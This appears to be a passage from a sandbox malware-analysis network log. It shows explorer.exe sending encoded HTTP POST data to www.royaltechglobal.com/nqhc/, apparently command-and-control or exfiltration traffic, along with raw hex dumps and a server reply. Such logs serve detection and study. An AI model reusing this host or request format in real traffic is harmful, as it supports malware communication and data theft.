Nov 21, 2022 19:20:44.304864883 CET	635	IN	Data Raw: ca ca 1f 3e a2 87 17 9c 86 87 af 45 75 e7 85 a2 75 31 5e 85 91 c2 fe aa 28 65 a8 91 d1 87 df d2 02 9d 0d 6a 16 1d 4b cc 0e ca 56 81 6d d5 3a 6f 95 97 56 75 69 97 97 76 75 59 62 d4 3a ef 96 97 6e 75 39 2a 2f 47 d5 e5 b8 bc 1c 57 97 93 f2 72 52 5d Data Ascii: >Euu1^(ejKVm:oVuivuYb:nu9*/GWrR]Ni=b\sKT[AP~NjD~i`Z3m0Xi?;T{F24~_PY<H@i{BSR.e/"rS^s)b0+Ja{?13_9HS->B%ic
Nov 21, 2022 19:20:44.304882050 CET	636	IN	Data Raw: 5a ef 91 0c 62 46 07 7b 94 f3 3d e2 0f 77 fb 9c 89 2b 82 3b 19 ec 69 74 3a e8 14 c0 ec 11 16 0f f6 c6 13 37 a6 ea ca 0d b9 8c ae dc f2 d5 2d 21 52 05 a3 c1 5e 6a 4c de f3 7d 25 a7 94 1b 88 d2 84 cb 90 72 2f 92 99 3f c9 dd 48 0a 03 c2 f8 26 85 0c Data Ascii: ZbF{=w+;it:7-!R^jL}%r/?H&_cTk02KX/@7=R%`"W;,w\|CRm3/Y(J,z8Bp7&&?DG@*bwrTs9pvK)rk Jmd2x4
Nov 21, 2022 19:20:44.304894924 CET	637	IN	Data Raw: e3 a3 ee e7 f7 b7 77 8c b8 9d e3 66 b7 ec d3 c6 8e ad 15 0e 4b 38 cf 36 e0 04 75 47 7f 8d 3a 73 c9 d0 34 40 98 68 0d 9c 0b 59 a8 08 be 57 34 4f 59 e4 10 99 83 a2 46 aa 81 c3 44 0d 53 8a 87 87 ca 32 d6 d6 c3 3e 7e 91 eb 8c 0b ec 97 1a 93 f7 7c 7f Data Ascii: wfK86uG:s4@hYW4OYFDS2>~\|2x'UM3<VC&,6iiX8QgD^Lqfs#rpPK^8#FGSgDA"jj23!*UbFlNmmi+;`
Nov 21, 2022 19:20:44.304908037 CET	639	IN	Data Raw: f7 7c 5f c9 29 e5 06 a2 34 e1 32 a4 dc 8b 64 e6 0c 7f 90 19 f4 7d 8a 3b e0 6c b8 bb 86 d6 d1 e3 b4 72 a9 cd a5 3d dd 67 96 d3 64 39 8a 68 5b f1 f2 69 28 0b e3 16 da 77 86 cf ec 91 fc a2 37 b2 3c fe ac 2c 8f b7 64 19 49 61 68 54 f3 3c af 2e 8f 31 Data Ascii: \|_)42d};lr=gd9h[i(w7<,dIahT<.1=LOd1h</H^\|#2WlL)VpMJ"?WsX/8c63OTG7,oGA22:!AH!O.c.mtbD5Q4}636r\E"c6{h
Nov 21, 2022 19:20:44.304924011 CET	640	IN	Data Raw: 3b b6 60 ff 59 f0 e9 a7 43 1d 55 50 02 3e 1d aa 6b a1 5e d1 cf 40 aa 53 8a 95 2b c6 3f 1d ab 5d b1 42 87 df c5 42 d7 f6 7d 5d fa 19 2f 7d 1d 29 96 1b 62 a6 39 1a dd c0 b5 f1 df d3 31 ad a2 ce 70 d7 ff 1b e9 3f f9 ed fc db 67 6f 9f fd 46 fe e6 ef Data Ascii: ;`YCUP>k^@S+?]BB}]/})b91p?goFYr3J2 0/8>q,6CvwfxDyJEyATs@'#^`lMC;Jl`B~}hCK1K0
Nov 21, 2022 19:20:44.418644905 CET	641	IN	Data Raw: 2e 9f e5 67 a1 db 74 86 b8 83 52 f0 99 de 93 c9 c4 1b 4f d0 14 19 e8 52 ec ea e8 8f 14 80 1b 53 75 e5 4e a4 8a 73 05 5a bb e5 93 4f 0c 55 09 98 c1 de 65 c8 a9 b8 da 1b 7e 8b 59 e4 57 cc fa d9 66 91 b7 36 ab 54 ff f9 94 fc fd d7 f2 8a db c8 ef 73 Data Ascii: .gtRORSuNsZOUe~YWf6Tstq(6&#r)*%'.-s\|\@hk;c\| {X,;._~eGdrC4%cZE"LT.v1Q7>SE\P2 7f~Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.11.20	49836	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:46.192378998 CET	647	OUT	POST /nqhc/ HTTP/1.1 Host: www.royaltechglobal.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.royaltechglobal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.royaltechglobal.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 63 43 44 37 68 6d 49 2d 4d 78 28 67 69 57 48 66 34 47 32 30 70 56 61 68 28 7a 76 44 44 68 39 6e 68 76 72 45 6f 58 67 4d 35 48 6d 34 68 69 42 64 39 5a 52 54 61 35 68 79 4a 2d 33 71 7e 65 45 5a 58 6f 4f 54 4a 44 51 63 62 5f 49 35 74 32 7a 6d 28 51 49 4c 79 61 61 41 48 57 6f 68 6f 73 67 45 49 70 39 4f 72 4a 39 38 48 44 31 47 6c 67 32 71 70 65 45 65 48 6c 79 59 36 42 6e 33 6d 32 4f 30 44 50 51 6e 6b 36 4d 6c 67 53 41 45 76 76 62 37 61 64 62 54 30 7a 6d 35 52 69 65 72 4e 64 4e 6b 70 34 44 52 61 74 45 79 4f 51 71 38 4a 4f 6d 57 43 74 7e 58 52 59 65 4d 33 34 32 49 75 50 45 36 44 47 58 45 44 61 4d 4d 63 2d 36 70 74 4a 7e 63 6f 74 51 73 78 2d 75 4b 76 64 65 63 65 4f 6d 43 32 61 58 69 79 76 48 54 7e 4e 64 33 53 7a 46 31 39 76 37 79 64 64 28 50 6d 49 5a 6e 78 6e 63 67 52 62 78 51 34 57 73 4c 4a 6c 61 7a 30 74 69 50 75 53 50 2d 43 51 7e 63 28 31 76 48 77 6b 6b 32 52 77 66 6e 67 54 54 65 37 45 66 71 57 6a 63 46 73 6a 69 41 51 6b 34 48 76 4e 28 53 37 44 66 32 36 4a 44 47 6a 4e 6f 79 4a 62 5a 6c 37 38 67 7a 4c 63 4c 42 71 62 51 7a 44 66 43 64 7e 7a 32 50 57 62 48 33 72 5f 79 2d 4a 54 46 4b 4e 75 38 50 49 6e 38 49 72 30 4a 62 77 5a 32 51 4f 6e 42 4a 49 68 7a 77 66 69 37 55 7e 64 75 50 4f 43 7a 4f 39 43 45 49 46 30 34 62 63 49 50 65 51 57 77 4b 54 62 4e 66 5a 45 38 4a 72 78 6a 72 4c 48 66 35 42 4f 4b 55 72 7a 45 30 6a 36 6b 4c 7a 64 54 6a 51 53 72 72 7a 51 4d 49 62 6b 49 77 61 58 76 77 68 33 57 36 33 4d 76 56 70 5a 51 6f 50 56 46 57 6a 54 42 38 48 5f 4a 4a 48 58 6d 70 65 47 6a 57 35 6d 31 4e 41 75 69 42 4d 4e 6b 62 44 33 71 69 44 34 55 79 42 72 62 56 38 65 36 6b 55 61 49 30 37 47 68 61 46 58 4b 6f 49 48 57 72 58 44 37 62 54 6e 65 57 54 34 42 76 66 57 46 76 79 42 75 73 50 4d 64 74 57 53 44 42 38 6c 48 32 56 46 6c 74 7e 67 42 75 59 70 6e 53 7a 46 72 68 47 38 76 43 54 72 36 50 66 33 76 36 4a 30 76 39 69 41 32 37 39 6f 33 56 57 54 4e 4f 64 72 6a 43 34 72 64 6d 55 47 30 38 4d 59 4b 76 73 75 51 48 6e 30 74 39 35 2d 45 38 57 51 45 5a 5a 39 6b 48 45 6f 41 6e 56 68 54 73 56 6e 69 52 37 37 72 45 58 42 45 56 4a 52 65 76 52 63 4c 33 58 61 58 31 39 4a 39 4e 36 53 4e 4f 74 6a 38 68 71 2d 4f 38 5a 64 6d 48 38 4c 79 59 4b 73 77 76 4a 50 61 72 46 73 45 50 6f 64 37 44 71 6c 58 73 36 6e 4d 38 39 77 45 4a 62 6a 36 36 77 42 61 33 49 4c 37 73 35 34 4b 66 71 36 4b 69 31 32 73 37 63 31 74 55 73 51 51 4c 48 4c 4e 71 36 67 7a 61 43 4c 66 55 39 6d 4e 45 75 45 52 55 5a 5a 4e 50 30 76 36 73 32 50 43 46 51 55 59 41 63 6c 36 4e 58 65 6a 41 4b 67 34 72 75 42 63 34 50 51 28 37 36 45 59 52 41 39 56 65 36 66 34 58 49 4a 74 56 48 34 7a 6f 55 37 61 49 28 39 76 4d 28 39 34 72 71 2d 49 70 65 72 42 6d 50 7a 31 4d 4b 65 54 67 71 68 62 76 55 64 31 38 4b 46 71 79 4e 52 64 51 46 6a 76 50 4e 7a 47 56 44 32 36 32 45 30 48 7a 32 5a 75 49 30 43 37 64 63 41 4b 49 78 68 30 56 30 53 55 77 6c 58 78 4d 36 42 6c 75 33 48 4a 51 7e 33 71 76 72 46 4a 32 50 73 4f 51 4b 56 4b 45 38 54 69 33 57 62 46 48 74 39 58 52 7a 2d 39 33 79 2d 6c 6e 75 46 30 4e 63 64 54 64 47 6c 4e 78 55 5a 32 49 76 58 74 66 4f 58 28 4d 28 62 70 61 66 76 32 35 39 64 57 79 4e 45 70 62 68 77 63 68 54 5f 28 74 43 72 4a 35 67 44 36 47 42 37 67 4c 44 2d 4f 5f 73 4c 72 37 65 4f 39 43 56 52 5a 37 36 4c 69 67 52 31 46 43 4f 53 59 56 48 71 75 59 54 38 58 5a 32 39 42 72 42 58 47 42 4a 30 34 30 48 47 77 4b 6a 5f 47 52 45 6b 70 63 5a 53 28 56 6f 6e 7a 66 6f 4e 39 55 7e 6a 79 6f 6f 42 62 5f 54 6a 4a 67 63 77 62 77 30 7a 63 68 7a 5a 73 41 73 65 74 2d 71 34 59 79 7e 33 65 41 72 48 6b 56 51 76 6a 65 45 4c 76 4f 71 68 47 4c 6a 4b 50 45 4c 35 73 37 67 30 47 6f 6d 2d 51 4d 66 44 50 38 41 51 6d 67 73 4b 66 51 6f 36 32 65 68 76 7e 75 56 43 7a 77 58 55 62 68 6a 78 69 68 6a 67 6e 6f 5a 58 4f 31 79 31 6a 43 4a 43 4d 46 5a 55 7a 71 52 39 71 6f 4f 42 37 32 53 59 4e 62 6d 69 47 56 38 33 7a 36 43 52 48 6e 62 58 4e 47 51 54 4e 37 4f 48 76 6a 70 58 31 55 61 76 30 31 48 30 55 64 28 4d 77 6e 76 6e 39 47 30 45 57 6d 64 33 47 35 33 59 44 50 41 63 34 51 73 4a 4f 34 30 55 48 45 77 69 53 56 43 44 37 68 61 42 77 76 4e 70 36 45 31 58 49 6e 71 73 72 36 50 6a 61 44 69 61 59 56 6f 4b 75 71 79 77 39 50 7e 63 31 7a 6e 37 4a 69 31 4a 46 75 58 Data Ascii: r4txB=cCD7hmI-Mx(giWHf4G20pVah(zvDDh9nhvrEoXgM5Hm4hiBd9ZRTa5hyJ-3q~eEZXoOTJDQcb_I5t2zm(QILyaaAHWohosgEIp9OrJ98HD1Glg2qpeEeHlyY6Bn3m2O0DPQnk6MlgSAEvvb7adbT0zm5RierNdNkp4DRatEyOQq8JOmWCt~XRYeM342IuPE6DGXEDaMMc-6ptJ~cotQsx-uKvdeceOmC2aXiyvHT~Nd3SzF19v7ydd(PmIZnxncgRbxQ4WsLJlaz0tiPuSP-CQ~c(1vHwkk2RwfngTTe7EfqWjcFsjiAQk4HvN(S7Df26JDGjNoyJbZl78gzLcLBqbQzDfCd~z2PWbH3r_y-JTFKNu8PIn8Ir0JbwZ2QOnBJIhzwfi7U~duPOCzO9CEIF04bcIPeQWwKTbNfZE8JrxjrLHf5BOKUrzE0j6kLzdTjQSrrzQMIbkIwaXvwh3W63MvVpZQoPVFWjTB8H_JJHXmpeGjW5m1NAuiBMNkbD3qiD4UyBrbV8e6kUaI07GhaFXKoIHWrXD7bTneWT4BvfWFvyBusPMdtWSDB8lH2VFlt~gBuYpnSzFrhG8vCTr6Pf3v6J0v9iA279o3VWTNOdrjC4rdmUG08MYKvsuQHn0t95-E8WQEZZ9kHEoAnVhTsVniR77rEXBEVJRevRcL3XaX19J9N6SNOtj8hq-O8ZdmH8LyYKswvJParFsEPod7DqlXs6nM89wEJbj66wBa3IL7s54Kfq6Ki12s7c1tUsQQLHLNq6gzaCLfU9mNEuERUZZNP0v6s2PCFQUYAcl6NXejAKg4ruBc4PQ(76EYRA9Ve6f4XIJtVH4zoU7aI(9vM(94rq-IperBmPz1MKeTgqhbvUd18KFqyNRdQFjvPNzGVD262E0Hz2ZuI0C7dcAKIxh0V0SUwlXxM6Blu3HJQ~3qvrFJ2PsOQKVKE8Ti3WbFHt9XRz-93y-lnuF0NcdTdGlNxUZ2IvXtfOX(M(bpafv259dWyNEpbhwchT_(tCrJ5gD6GB7gLD-O_sLr7eO9CVRZ76LigR1FCOSYVHquYT8XZ29BrBXGBJ040HGwKj_GREkpcZS(VonzfoN9U~jyooBb_TjJgcwbw0zchzZsAset-q4Yy~3eArHkVQvjeELvOqhGLjKPEL5s7g0Gom-QMfDP8AQmgsKfQo62ehv~uVCzwXUbhjxihjgnoZXO1y1jCJCMFZUzqR9qoOB72SYNbmiGV83z6CRHnbXNGQTN7OHvjpX1Uav01H0Ud(Mwnvn9G0EWmd3G53YDPAc4QsJO40UHEwiSVCD7haBwvNp6E1XInqsr6PjaDiaYVoKuqyw9P~c1zn7Ji1JFuXIxkCnk1E9qSQU5c911oQ_RtGZge4UnWli~FUKNzEj38xueZnPN_iqr3ABEfQVVDSkosJTWILNFxdELG9NuObvpLBRKHsit8H9iI2iRPkNmScMT-O_WiE-RSLn35c0hc2-g5AdLPYszRMIMYOQn6lLysCm~qKKf_iwYCIDBNb9ONSoweWeiMgfExifGxRJNUKvhtU3qad1LgygiIJP~bLe00q6fWcAAxffaByh2NftaIIwO3l78rAznFtAiz24s-GerDpIvDViAMfOlrXw4mBZ8J(36E16~chqXZCLXc9exgYPxAac1qX3eNbPN02L0WGSUxJZSLUNVTVaenttuxzp~Xb9Nph6zy0av9EtwvF8nB8-mstN4WXYzknH21WjIpxrqihLhMcG3-6owcWuGFp7KzIVfheGjFWfaP~KGR4fvJ(xf9UzrJ2W(1PMv5Tle9eOHnh0ff7Ban(p3bAC~oNcU3p_Cv2w9lqElV(_4pfJlSe-qY7HSJbxEL3pFe4j1rVIwZutC6KKMcA5PGsf743_cywZZU2h~rQrqlqOjFDHi2uezk2w0T8ejeHiJyh88keJV0NulXIR7mXv7R68Gl246kaFy3Clf8M3VB5wqWAkWXuuzsQSpwxLOe7AdCJ-0Dx3FdHNsa1zpnBEKUy4SzW19vH7zHB5QUiH~fgzfWflgKjxxLlW6i42VXoF0mp2UHp6wOflIVpX0FYxk1bLXF~NVj(cX_oc32WwUr1VLb6OGOdvD4oxYHTWKYFEZvyC8F9gcVhh0ol_OlGZT1uy62TzUM4rWuA-KNm43qgCXlfN8RaztLThpXWA806o6NdwRTFX6WgzNMAoXACI~emCUDojGSeL3XyK97UD4-RxrsOJQABWuhabl37ZsLvnGin10LlrcvD9GW8IQ4A14Z1PeG76aSy8uDw5XodYaepbhfCMk_~nmDVE~AqqXNgXp60Ukwhxy1bdMnRjvw3uH_Kb(JRadaGh9nCHlA4nTJ5cA-zkTe6HqNSU4kF1f2p_E3vwRdFws37lmxXDmyDH7a(e0F7Vl5t5PS1GrD8m9QUwoun5IE4ID3KprR7TDq(UGIo-0WIqWKXVKwII89Dw924G~qA32QfCzRzra2dUkWYgGErwC_C5j8HNAWQjU-M6ONR_m-2JAiit0NU1zazbvsvczn6Hw7u1(mm_M_tMJvbmcrBA5uVs0Amxip~fSFtZ74PHomX4ueC2un(F1A4PvYQwD8xEBA8Xu_K4OPAOSPbwBi2-qp6mYa(i1QSqbJhxECDtsIJgVSVcm5sYxkXhGy4FrxF2fOzpInUV0zl6B-DF5DMV9lFJnsu0QnkCAc1It2syNGDQUcFm~sJ1UYswHrnHwSEf1lundys3siJI136-YBAx0hneHUGow7kRzXCFEjfsnYyZlwCAh7vb(epivaRIP5Mxf3(rJTtUS9ulw3l0~O6i(bOPGgg4Rwry9ixOLqOIu1pRl6CBUlJIUbgDIn7TI60FFjY9Yh~lOAIy42xSzRGpzExiUhKWmUg-XE6es8kHlYOLHP8cKF6TDXIRwu9xg_aKVoPFOsZdXUabi-HhLQTvcLFTDCDc95vXc9vTGt(zDHblvl0E5Xs2a0INHu94tAe788xTrBW35HsNBaU5AgPc8ybio8K62UYqUzuspuObO4qXGOe9omjektJpyvDEvFDCTnodEQoM(sLT87Z-3C4aMoO6yxauhiZP8fLiengjGcZIcLxGAU5GUaCbf-u0~9tTzrY6pIVygsDSINzH8Y0MxL0R70Ao2Qzdo0eSEDfgA7z0LtHZS5q93N1lA7duty8RuzEmTqCMfcYdiAdzUVfUhgpFWTbLeE(sz_FfQo0qwYpvb3Yi0ruRepdiUnTIWjgD9DxwrtdgoiwSEeCK5EDZME7ST7jJ0lGOD6fr3yUP4YTjblSQ~XuVzyq4m3mOk0Cxy-4YNV52yD7N9tpIWRjxifUYR-LFSv5cy7MnTOWErUkTXHHqR14XJFFxsntdMI2NgHBpr3(cj73-zUMDCd9-I_Tza7cIkXlpdwUQHziDwgbDykjIl6N72KTEp66UfyLO(z7BPhoy(-(1OCWGQwGZx6PPXaA1(WmHmZPR3SDDg75xVRlbJYQLNEnKgjwHQrlZF2iAeLoUQ6Hww0ViI1buMT9NDCP_MouFBrts801JRT7nzjY5sPoAJArqBZ(o6nbjKqdto31XSVi7LpQFNW(uzk3UlSHUrDIakW4v84kSSqvzXXBDDdvwDVCAIwB9A5A-C4Oye6sAiHdJVb4TZVVLHP5cYHAOX-HHrb9gj72gHUQbQViOuQKF1dg3T_65x5jDtmvQSYBUz5h71V3kV68ZCfk1cwjfGtizaicl93Mw0aK6Rm1CmKz9cLXaQqRayxY7GJQDYt9cGHlbjS3HB5JZuWNyRQgWuzwTLzxrLjrkjqvygNjuUnDSbUHV9yNbn64O54fBHHEkJAfx8pXdIdkGXLPnrZNHO_fZw3zRnYEBNA~yOJVTtVFd(mfFH3oHgZA1rRZnbw4tKvqi0ntrukBtg7xauViwo2KhzS8R5EbrOYKlIymKdcbcvp8COnthCgo3T72p3ynLRoieD3AOueRqDok7tiMj9ujvzGltXRbGGcOgx5Ghr5(MaMTL6JKoiTvhAHBwRm2dhvY95fLa2n3inPW69foYRQP-QIt_LMCi2Dlr2GQmbwPm~NFm9NOt9QwcgbXnSdOK18CIeo
Nov 21, 2022 19:20:46.192485094 CET	654	OUT	Data Raw: 72 58 73 64 32 32 64 28 6f 35 48 57 71 42 6c 36 63 79 50 4c 47 6e 31 45 55 63 7a 39 5f 4e 57 57 70 4d 76 74 5f 30 68 63 47 6f 45 4e 62 71 71 74 59 5a 5f 61 5a 28 52 53 6b 79 7a 62 6b 42 6d 6d 33 6d 67 57 65 31 7a 63 6c 36 51 50 59 61 30 42 6b 65 Data Ascii: rXsd22d(o5HWqBl6cyPLGn1EUcz9_NWWpMvt_0hcGoENbqqtYZ_aZ(RSkyzbkBmm3mgWe1zcl6QPYa0BkeV8VMqP5jgYApgpl4DRKGlhnM9jIJTRudcUpj_F-TjzZIIAkI35Ljgo9qESsNHfh6041fKFpo0zjOBUxCjiYd_6-ri3MFDiUkEiCpYouEJMFb6fNtfye8PqKFtrWkSMa4U5Zxhta0FLuFjwgOE7APsL-lAy153xAMk
Nov 21, 2022 19:20:46.306955099 CET	656	OUT	Data Raw: 36 4f 59 4b 57 32 6c 59 2d 76 50 42 2d 38 76 79 71 46 75 28 6c 50 38 28 5a 74 70 45 6e 7a 74 4a 53 35 46 6c 56 7a 73 78 49 71 4f 65 49 32 36 69 34 46 67 38 50 77 7a 77 6c 6f 6f 48 4b 38 46 74 48 30 71 4f 59 76 7a 72 44 77 74 31 6c 77 31 46 67 59 Data Ascii: 6OYKW2lY-vPB-8vyqFu(lP8(ZtpEnztJS5FlVzsxIqOeI26i4Fg8PwzwlooHK8FtH0qOYvzrDwt1lw1FgYh~RkFKyWjWVtbar53SLTWgsl5fUmWOS~pVSJC5yXj~z9m(5sHZXhB8M8vnV6JlTvGx343Oll3hidVSUikl9jyrENFo3ZFbJ6vj0Munk23rw6YPzMG40(QuKR7AgJUJYkMEFExMpvpujrI4-gtypeax-Tcx047Sc~Z
Nov 21, 2022 19:20:46.307128906 CET	659	OUT	Data Raw: 43 61 59 51 68 70 4f 28 54 32 74 56 51 56 61 6e 4b 33 48 6f 78 68 59 66 62 34 74 5a 78 69 4f 61 56 43 6f 68 6b 51 79 56 2d 51 5f 46 61 37 79 57 6f 55 4d 54 6c 51 4c 4d 61 65 6e 54 35 72 57 32 42 48 64 7e 69 67 34 33 47 67 49 4d 37 52 42 34 46 62 Data Ascii: CaYQhpO(T2tVQVanK3HoxhYfb4tZxiOaVCohkQyV-Q_Fa7yWoUMTlQLMaenT5rW2BHd~ig43GgIM7RB4FbeWbo7ZXim~_a8O6JdFevwt-0YLB5gHBbM51mvAJ4KFV9mqVbbjcTUdv6bXJi2pRzt8yDz9boeKQ2DgLccGFjnGt~AxcwuMju6VEjnh8Cu9QrSW_~cVnLGz-pjvrgluitrNcNi3iTExT9GMwIOfiNLzufmpHQrrRRt
Nov 21, 2022 19:20:46.307300091 CET	664	OUT	Data Raw: 43 65 57 31 42 74 53 51 6e 31 6a 64 54 56 47 4f 46 4b 5f 59 57 28 30 6c 66 35 71 51 79 78 37 44 45 74 4a 57 6c 56 68 43 50 53 75 71 41 59 54 71 48 42 6c 45 6e 46 43 75 59 46 52 62 5f 4b 64 69 71 4a 55 55 33 6a 47 6b 78 74 5a 7e 57 45 4e 47 4a 36 Data Ascii: CeW1BtSQn1jdTVGOFK_YW(0lf5qQyx7DEtJWlVhCPSuqAYTqHBlEnFCuYFRb_KdiqJUU3jGkxtZ~WENGJ68tlEthmi1QQIyQcZqwlwjtL5v5JOgG29t6dEwgGWhSQAyQrmORNoO4E5NI6ah0DvCdoNIT4cXbHI6UCVDQN327km8kdwJT4Z66jxVGY9KnpBKPaJdy-CDc3bG8Us8sxd2TGPyCpfzX1fsJgUE2NLQnAcfmemRQobI
Nov 21, 2022 19:20:46.307435036 CET	672	OUT	Data Raw: 35 5a 63 52 35 32 71 6a 33 76 69 4f 49 79 76 58 6f 56 6b 50 4a 28 4b 66 65 54 47 67 55 68 6e 75 57 52 6c 7e 39 73 6a 6a 6a 69 66 50 70 4f 4a 46 74 28 4c 61 4f 38 4e 49 54 65 4c 48 62 72 4a 58 61 72 33 58 57 33 37 79 55 43 48 78 42 55 35 48 50 6f Data Ascii: 5ZcR52qj3viOIyvXoVkPJ(KfeTGgUhnuWRl~9sjjjifPpOJFt(LaO8NITeLHbrJXar3XW37yUCHxBU5HPosNb0dG39x5QFDuz4kJ4Jla0AFR4(MlT85yrGiLRZIXvvagm6PgS6FjXe43ReSEfFuGhOoPnHZLw(8lODtP4tlOeuLkJoU~nfHy3VrPpYDOcgjfx28~gE7Jel_PdD3brmqxeHmEE9SxpshIpUAHiDkgj9i438Wuymd
Nov 21, 2022 19:20:46.307646036 CET	677	OUT	Data Raw: 47 6c 33 56 57 35 45 6f 59 28 53 69 75 74 53 49 34 4a 57 32 61 61 54 36 49 7a 78 74 43 78 2d 4e 6f 7a 2d 49 6f 55 6f 38 33 62 71 32 49 68 50 46 33 7e 6b 52 77 56 6b 58 66 64 65 44 77 79 5f 53 68 37 67 6f 74 63 4d 55 6d 4f 78 61 35 46 39 74 5a 67 Data Ascii: Gl3VW5EoY(SiutSI4JW2aaT6IzxtCx-Noz-IoUo83bq2IhPF3~kRwVkXfdeDwy_Sh7gotcMUmOxa5F9tZgTsFU5L-vu2osnXUN2xQylA7a4dY9qn5pfg-u8L9GSEQbjO9OlH_qDwVcRQa4IW-gqIwWtQNPNLAVMYjQUQ1z3UzxRWQO7KAKQkJurIo6E~4m7D0w4evYQ2hDHBiUgTKl1vjCJ5bFt3K01wSxBWw4-9ey8pGqjlOtc
Nov 21, 2022 19:20:46.307719946 CET	679	OUT	Data Raw: 58 56 62 53 78 79 61 6a 6e 6b 77 51 63 46 2d 30 52 5a 67 46 39 54 35 34 77 79 6b 66 6f 4c 32 66 43 73 56 31 58 70 6f 67 36 42 72 45 42 6e 4f 68 59 5a 55 39 71 67 79 38 68 54 48 42 4d 59 39 55 47 45 7a 53 38 54 49 41 55 31 63 76 41 70 6f 34 6b 38 Data Ascii: XVbSxyajnkwQcF-0RZgF9T54wykfoL2fCsV1Xpog6BrEBnOhYZU9qgy8hTHBMY9UGEzS8TIAU1cvApo4k8WNZosuUqiH2BWVTaWZZgQniB2HOfKdeJygW6u6yJyKBQ4yNH9pmQvbMwL9TOAMihqzWa91-9_ROSqzkAIgcy32FQ7RkVqL65svkOJtfkyoT1QZagXZtlUvv4A(v6l7nebTgFH9-2cSibvXi5n7uPS8pY0Z5nxcYBl
Nov 21, 2022 19:20:46.421680927 CET	682	OUT	Data Raw: 64 57 6b 4f 34 6a 44 35 49 77 42 33 6c 32 54 71 49 51 46 66 43 56 64 6a 43 66 46 61 31 4e 49 7e 78 59 36 4e 56 42 65 32 38 4c 54 4e 70 44 4b 7a 53 4f 74 52 6b 4c 76 51 44 54 77 62 79 38 52 33 4c 64 6b 6b 62 65 69 50 78 28 68 48 50 76 75 54 59 63 Data Ascii: dWkO4jD5IwB3l2TqIQFfCVdjCfFa1NI~xY6NVBe28LTNpDKzSOtRkLvQDTwby8R3LdkkbeiPx(hHPvuTYcqmtcMW58ppTX3mdAavYFi2_~oSqDZ4dM2LuVyorx96pi6jM5HAcJJzmhxTnHO(TPU(bWQMBDxjBG1oy5VLhf3OEOqY_OeWXzyM7QmOdyc30occgxZ01YAvPXkCYFe1hZ29q7KFjcQupsSObyll6fZlJ0C~gMlP23_
Nov 21, 2022 19:20:46.421780109 CET	687	OUT	Data Raw: 62 33 58 44 78 33 4c 35 59 38 45 79 46 36 34 61 6f 73 6d 66 75 62 5f 6c 6d 70 46 58 2d 56 36 66 36 35 46 4e 75 79 4d 6b 6c 70 55 4d 39 44 44 38 4e 34 61 76 69 6f 7a 53 52 59 35 46 32 52 78 73 70 30 55 62 44 35 62 61 69 45 42 64 65 41 41 42 72 74 Data Ascii: b3XDx3L5Y8EyF64aosmfub_lmpFX-V6f65FNuyMklpUM9DD8N4aviozSRY5F2Rxsp0UbD5baiEBdeAABrt6UldsQCtcPqr6UB0ZLY1TuOw41E8hY8BrMysvjLG3c-Iqe-peJezWdVCULwUrW2rA7ucx0ZSopkRJtrl9cJzeYjdinn3mywyU(g6sZGKfAT4Z7WXuJzG-ROaylGNs04B8OV7YgUf7(e~Bnpn2n-jgm9pTNmEZhIJQ
Nov 21, 2022 19:20:46.421889067 CET	690	OUT	Data Raw: 63 79 70 54 54 65 6f 6c 50 71 55 54 54 53 38 63 55 75 4b 4e 73 41 62 35 6c 70 73 34 61 48 4d 31 4b 4a 5f 50 53 65 6b 59 79 49 52 46 34 68 78 76 79 53 39 39 6e 6a 68 42 4f 4f 6c 4f 61 39 4e 6c 6c 69 65 4e 75 55 58 55 39 54 77 4b 6a 7e 5a 65 4c 37 Data Ascii: cypTTeolPqUTTS8cUuKNsAb5lps4aHM1KJ_PSekYyIRF4hxvyS99njhBOOlOa9NllieNuUXU9TwKj~ZeL72Mv23Z182sL7G~qb-UzHVFBQBEIUWiVWRpZpzpevlYTn-4voWGeT_5yJol2m2c2P78lx6O960eg3uVFw1ugw7xYRoyrmOcOdJ2txH5p1Bi87MH2bWWRVjC0yfhKsArljErDtF6ptbQreg(C6XuF6vbt~UOUhD3qbO
Nov 21, 2022 19:20:46.652069092 CET	695	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:20:46 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://royaltechglobal.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 13045 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6b 73 db c6 b2 ed 67 a9 ea fe 87 31 5c 89 a4 2d 02 20 f8 d0 83 22 99 63 2b ce e3 1c 3b ce b1 9c 9d bb 4f 9c 52 0d 80 26 30 d6 60 06 99 19 90 62 74 f4 df 6f 0f 00 be 24 8a a2 5f 3b 55 77 6f da 22 67 7a ba 57 af 5e bd fa 4f be 7d 7d fe f6 1f 3f bf 20 a9 c9 f8 70 77 b7 6f 7f 49 cc d4 c0 e1 46 39 84 53 91 0c 1c 10 ee 2f 17 ce ee 4e ae 60 c4 ae 07 8e 4c 7a 58 60 72 dd f3 7d 99 e4 5e 06 be d0 4f 1d 82 00 3b fd 14 68 3c dc dd 21 64 a7 9f 81 a1 24 4a a9 d2 60 06 ce 2f 6f bf 73 4f 9c e5 27 41 33 18 38 63 06 93 5c 2a e3 90 48 0a 03 02 53 27 2c 36 e9 20 86 31 8b c0 2d 2f 75 dd ee ce 4e ff 89 eb 92 67 9c 13 26 c8 6b 01 e4 e2 c5 6b d2 f1 5a de b1 17 10 97 50 26 35 48 2f 92 19 71 dd a1 4d 5f ea a4 64 28 8d 5e ea 23 24 13 31 5c 3b c4 bf 9b 9a 80 00 45 8d 54 4b d9 77 9a ee 3f fb f1 35 fe 1e cc bb cf 60 74 a4 58 6e 88 99 e6 08 44 f3 9c b3 88 1a 26 85 cf e3 c3 f7 5a 0a 84 e4 54 6b 7c 2b c9 ba 3a 4a 21 a3 76 c2 9d 9d 1b e7 3f ca 7e d7 c6 e9 39 95 c6 ef fc 77 7e 95 e2 49 95 38 0d e7 3f 12 45 f3 d4 e9 fd 86 c9 b6 09 66 3e 57 a8 7a a4 8a 2c 7c c9 b4 b1 39 